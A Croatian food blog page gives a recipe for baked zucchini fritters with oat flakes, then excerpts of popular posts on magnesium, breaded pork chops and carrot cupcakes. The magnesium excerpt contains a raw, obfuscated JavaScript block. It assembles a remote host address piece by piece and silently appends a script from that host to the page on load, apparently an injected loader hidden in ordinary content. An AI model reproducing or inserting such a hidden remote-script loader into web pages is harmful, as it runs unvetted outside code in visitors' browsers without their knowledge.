PEČENE TIKVICE SA ZOBENIM PAHULJICAMA




Pečene tikvice sa zobenim pahuljicama 




Tikvice su jedno od onih povrća koje ljeti imamo u izobilju. Bilo da dolaze iz vrta, s tržnice ili iz trgovine, često se nađu na jelovniku nekoliko puta tjedno. Problem nastaje kada ponestane ideja kako ih pripremiti na način koji neće završiti uz uzdah za stolom.
 Ako u obitelji imate nekoga tko nije ljubitelj tikvica, ovi hrskavi popečci mogli bi promijeniti mišljenje čak i najvećim skeptičarima.





Pečene tikvice sa zobenim pahuljicama 


Sastojci:

  • 2 srednje tikvice
  • 2 jaja
  • 4 do 5 žlica sitnih zobenih pahuljica
  • 50 g naribanog parmezana
  • 1 režanj češnjaka
  • sol i papar
  • svježi peršin ili kopar
  • malo maslinovog ulja



Priprema:

 Tikvice naribajte, posolite i ostavite desetak minuta.
Nakon toga ih dobro iscijedite.
 
U zdjeli pomiješajte jaja, parmezan, češnjak, začine i zobene pahuljice.
Dodajte tikvice i ostavite nekoliko minuta da zobene pahuljice upiju višak vlage.
 
Oblikujte manje popečke i pecite ih na tavi nekoliko minuta sa svake strane ili u pećnici zagrijanoj na 200 stupnjeva dok ne poprime lijepu zlatnu boju.



 
Što poslužiti uz njih?
Odlično se slažu s umakom od grčkog jogurta, nekoliko kapi limuna i malo svježeg začinskog bilja.
 
Poslužiti ih možete kao lagani ručak, večeru ili prilog uz meso s roštilja.
 
Jednom kada ih isprobate, vrlo lako bi mogli postati jedan od najčešćih ljetnih recepata u vašoj kuhinji.




Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više